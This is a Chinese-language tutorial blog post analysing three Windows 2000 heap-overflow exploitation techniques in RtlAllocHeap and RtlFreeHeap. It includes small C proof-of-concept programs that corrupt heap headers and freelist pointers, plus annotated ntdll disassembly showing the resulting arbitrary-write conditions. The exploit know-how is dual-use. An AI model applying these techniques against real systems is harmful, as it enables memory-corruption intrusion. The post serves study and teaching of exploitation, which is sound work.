总结windows下堆溢出的三种利用方式

1.利用RtlAllocHeap
这是ISNO提到的,看这个例子

main (int argc, char *argv[])
{
 char *buf1, *buf2;
 char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/x08/x00/x11/x11/x11/x11/x21/x21/x21/x21";

 buf1 = (char*)malloc (32); /* 分配两块内存 */
 memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

 buf2 = (char*)malloc (16);

 free (buf1);
 free (buf2);

 return 0;
}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453 8901        MOV    [ECX],EAX
001B:77FCC455 894804       MOV    [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子

main (int argc, char *argv[])
{
 char *buf1, *buf2;
 char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09";

 buf1 = (char*)malloc (32); /* 分配两块内存 */
 buf2 = (char*)malloc (16);

 memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

 free (buf1);
 free (buf2);

 return 0;
}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {

  //
  // This field gives the size of the current block in allocation
  // granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
  // equals the size in bytes).
  //
  // Except if this is part of a virtual alloc block then this
  // value is the difference between the commit size in the virtual
  // alloc entry and the what the user asked for.
  //

  USHORT Size;

  //
  // This field gives the size of the previous block in allocation
  // granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
  // equals the size of the previous block in bytes).
  //

  USHORT PreviousSize;

  //
  // This field contains the index into the segment that controls
  // the memory for this block.
  //

  UCHAR SegmentIndex;

  //
  // This field contains various flag bits associated with this block.
  // Currently these are:
  //
  // 0x01 - HEAP_ENTRY_BUSY
  // 0x02 - HEAP_ENTRY_EXTRA_PRESENT
  // 0x04 - HEAP_ENTRY_FILL_PATTERN
  // 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
  // 0x10 - HEAP_ENTRY_LAST_ENTRY
  // 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
  // 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
  // 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
  //

  UCHAR Flags;

  //
  // This field contains the number of unused bytes at the end of this
  // block that were not actually allocated. Used to compute exact
  // size requested prior to rounding requested size to allocation
  // granularity. Also used for tail checking purposes.
  //

  UCHAR UnusedBytes;

  //
  // Small (8 bit) tag indexes can go here.
  //

  UCHAR SmallTagIndex;

#if defined(_WIN64)
  ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一个堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意这里的size是实际大小进行8字节对齐后除以8的值
可以看看flag的各个定义

再看看RtlFreeHeap里面几个关键的地方

关键点一
001B:77FCC829 8A4605       MOV    AL,[ESI+05] //esi指向buf2的8字节管理结构的起始地址,al即flag
001B:77FCC82C A801        TEST   AL,01   //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000    JZ    77FCD6D8   //不含则跳转。这里不能跳
001B:77FCC834 F6C207       TEST   DL,07   
001B:77FCC837 0F859B0E0000    JNZ    77FCD6D8
001B:77FCC83D 807E0440      CMP    BYTE PTR [ESI+04],40  //esi+4是否大于0x40
001B:77FCC841 0F83910E0000    JAE    77FCD6D8      //大于等于则跳转,这里不能跳
001B:77FCC847 834DFCFF      OR    DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0        TEST   AL,E0      //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A        JNZ    77FCC899      //只要含有一个就跳,这里不重要
001B:77FCC84F 8B8F80050000    MOV    ECX,[EDI+00000580]
001B:77FCC855 85C9        TEST   ECX,ECX
001B:77FCC857 7440        JZ    77FCC899      //这里必然会跳

关键点二
001B:77FCC899 C745FC01000000   MOV    DWORD PTR [EBP-04],00000001  
001B:77FCC8A0 F6C301       TEST   BL,01
001B:77FCC8A3 750F        JNZ    77FCC8B4      //这里必然会跳
001B:77FCC8A5 FFB778050000    PUSH   DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF     CALL   ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401      MOV    BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508      TEST   BYTE PTR [ESI+05],08  //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF    JNZ    77FCBB49      //含有则跳,这里要跳

关键点三
001B:77FCBB49 83C6E8       ADD    ESI,-18      //ilsy说在不同的windows版本上这个0x18的是不同的
001B:77FCBB4C 89759C       MOV    [EBP-64],ESI
001B:77FCBB4F 8B06        MOV    EAX,[ESI]
001B:77FCBB51 894598       MOV    [EBP-68],EAX
001B:77FCBB54 8B7604       MOV    ESI,[ESI+04]
001B:77FCBB57 897594       MOV    [EBP-6C],ESI
001B:77FCBB5A 8906        MOV    [ESI],EAX      //这里会操作异常

我们看到最后操作异常的时候EAX=0X61616161,ESI=0X61616161,正好是buf1里的值,就是将buf2的起始地址减去0x18的地址的数据复制到之后

的数据所指向的地址。我们可以控制这两个数据。
可见第二种方式的前提有三个:
1)构造堆(buf2)的flag必须含有HEAP_ENTRY_BUSY和HEAP_ENTRY_VIRTUAL_ALLOC,可以设成0xff
2)构造堆的flag前面那个字节要比0x40小
3)构造堆的上一个堆(即buf1)的长度必须大于或等于0x18+0x08即32个字节,否则在关键点三处,ESI会指向我们不能控制的区域,造成利用失败
还有ilsy提到字节构造的8字节管理结构的第一个字节必须大于0x80,在我的机器上并没有必要(windows2000pro cn+sp4),他用0x99,我用0x03,也能成功利用

3.利用RtlFreeHeap的方式二

这是我研究堆溢出发现的第一种异常情况,之前不明就里,花了2个小时看了几篇帖子之后,认为这是unlink本堆块时发生的异常。
看例子

main (int argc, char *argv[])
{
 char *buf1, *buf2;
 char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x00/x08/x00/x11/x11/x11/x11/x22/x22/x22/x22";

 buf1 = (char*)malloc (32); /* 分配两块内存 */
 buf2 = (char*)malloc (16);

 memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

 free (buf1);
 free (buf2);

 return 0;
}

看起来和方式二很象,不过运行之后会发现,不同于上面提到的,这里在free(buf1)时就出现异常。同样再看看RtlFreeHeap的几个关键点

关键点一
同方式二的关键点一,设法跳到关键点二

关键点二
001B:77FCC899 C745FC01000000   MOV    DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301       TEST   BL,01
001B:77FCC8A3 750F        JNZ    77FCC8B4
001B:77FCC8A5 FFB778050000    PUSH   DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF     CALL   ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401      MOV    BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508      TEST   BYTE PTR [ESI+05],08  //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF    JNZ    77FCBB49      //含有则跳,这里不能跳
001B:77FCC8BE 0FB706       MOVZX   EAX,WORD PTR [ESI]
001B:77FCC8C1 8945D0       MOV    [EBP-30],EAX
001B:77FCC8C4 F6470C80      TEST   BYTE PTR [EDI+0C],80
001B:77FCC8C8 7515        JNZ    77FCC8DF
001B:77FCC8CA 6A00        PUSH   00
001B:77FCC8CC 8D45D0       LEA    EAX,[EBP-30]
001B:77FCC8CF 50         PUSH   EAX
001B:77FCC8D0 56         PUSH   ESI
001B:77FCC8D1 57         PUSH   EDI
001B:77FCC8D2 E8EA000000     CALL   77FCC9C1      //进入这个CALL

关键点三
001B:77FCC9C1 55         PUSH   EBP
001B:77FCC9C2 8BEC        MOV    EBP,ESP
001B:77FCC9C4 53         PUSH   EBX
001B:77FCC9C5 56         PUSH   ESI
001B:77FCC9C6 8B750C       MOV    ESI,[EBP+0C]
001B:77FCC9C9 8B5D08       MOV    EBX,[EBP+08]
001B:77FCC9CC 57         PUSH   EDI
001B:77FCC9CD 8BFE        MOV    EDI,ESI      //ESI指向buf1的起始地址
001B:77FCC9CF 0FB74602      MOVZX   EAX,WORD PTR [ESI+02]  //将buf1之前的堆的长度放入EAX
001B:77FCC9D3 C1E003       SHL    EAX,03      //乘以8得到实际大小
001B:77FCC9D6 2BF8        SUB    EDI,EAX      //EDI指向buf1之前的堆的起始地址
001B:77FCC9D8 3BFE        CMP    EDI,ESI
001B:77FCC9DA 740A        JZ    77FCC9E6
001B:77FCC9DC F6470501      TEST   BYTE PTR [EDI+05],01  //上一个堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9E0 0F8498E9FFFF    JZ    77FCB37E      //不能跳
001B:77FCC9E6 F6460510      TEST   BYTE PTR [ESI+05],10  //上一个堆的flag是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCC9EA 750F        JNZ    77FCC9FB      //不能跳
001B:77FCC9EC 8B4510       MOV    EAX,[EBP+10]
001B:77FCC9EF 8B00        MOV    EAX,[EAX]      //buf1的堆的长度
001B:77FCC9F1 F644C60501     TEST   BYTE PTR [EAX*8+ESI+05],01 //buf2的堆的flag是否含HEAP_ENTRY_BUSY
001B:77FCC9F6 8D3CC6       LEA    EDI,[EAX*8+ESI]    //EDI指向buf2的起始地址
001B:77FCC9F9 7409        JZ    77FCCA04      //不含则跳(合并空闲堆?),这里要跳
001B:77FCC9FB 8BC6        MOV    EAX,ESI
001B:77FCC9FD 5F         POP    EDI
001B:77FCC9FE 5E         POP    ESI
001B:77FCC9FF 5B         POP    EBX
001B:77FCCA00 5D         POP    EBP
001B:77FCCA01 C21000       RET    0010
001B:77FCCA04 0FB70F       MOVZX   ECX,WORD PTR [EDI]    //ECX即buf2的堆的长度
001B:77FCCA07 03C8        ADD    ECX,EAX      //加上buf1的堆的长度
001B:77FCCA09 81F900FE0000    CMP    ECX,0000FE00    //是否大于0xfe00
001B:77FCCA0F 77EA        JA    77FCC9FB      //大于则跳,这里不能跳
001B:77FCCA11 807D1400      CMP    BYTE PTR [EBP+14],00
001B:77FCCA15 0F85FB210000    JNZ    77FCEC16
001B:77FCCA1B 8A4705       MOV    AL,[EDI+05]    //AL即buf2的flag
001B:77FCCA1E 2410        AND    AL,10      //是否含HEAP_ENTRY_LAST_ENTRY
001B:77FCCA20 A810        TEST   AL,10
001B:77FCCA22 884605       MOV    [ESI+05],AL    //将buf1的flag置为HEAP_ENTRY_LAST_ENTRY
001B:77FCCA25 754B        JNZ    77FCCA72      //含则跳,这里不能跳
001B:77FCCA27 57         PUSH   EDI
001B:77FCCA28 53         PUSH   EBX
001B:77FCCA29 E80CCBFBFF     CALL   77F8953A
001B:77FCCA2E 8B4F0C       MOV    ECX,[EDI+0C]    //将buf2的0x0c偏移给ECX
001B:77FCCA31 8B4708       MOV    EAX,[EDI+08]    //将buf2的0x08偏移给EAX
001B:77FCCA34 3BC1        CMP    EAX,ECX
001B:77FCCA36 8901        MOV    [ECX],EAX      //这里发生异常
001B:77FCCA38 894804       MOV    [EAX+04],ECX

方式三和方式二都是利用RtlFreeHeap函数,它们的分岔口在于关键点二的

001B:77FCC8B8 0F858BF2FFFF    JNZ    77FCBB49

方式二在这里要跳,方式三不能跳,从而进入下面的CALL(关键点三)
发生异常时ECX=0x22222222,EAX=0x11111111,这是我们能控制的。
可见方式三的前提有三个
1)构造堆(buf2)的长度不能为0
2)构造堆的上一个堆(buf1)和构造堆的长度相加不能大于0xfe00(div8之后)
3)构造堆的flag不能包含HEAP_ENTRY_BUSY

除了以上三种利用方式还有一种,和方式三差不多,不过是在free(buf2)时发生异常,应该是由于在合并下一个堆时长度计算错误造成的,具体就不分析了,类似于linux下的堆溢出,不过windows下不能将堆长度设为负数,造成一定的麻烦,sign

溢出之后的事情就不再说了。写这些主要为了分析总结一些东西,希望对初学者有帮助,不当之处请指正。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值